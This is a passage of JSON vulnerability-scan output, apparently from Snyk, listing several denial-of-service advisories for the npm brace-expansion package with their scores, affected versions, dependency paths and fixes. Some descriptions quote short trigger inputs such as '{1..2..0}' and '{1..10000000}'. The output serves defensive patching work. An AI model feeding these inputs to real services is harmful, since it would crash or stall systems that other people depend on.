"brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash 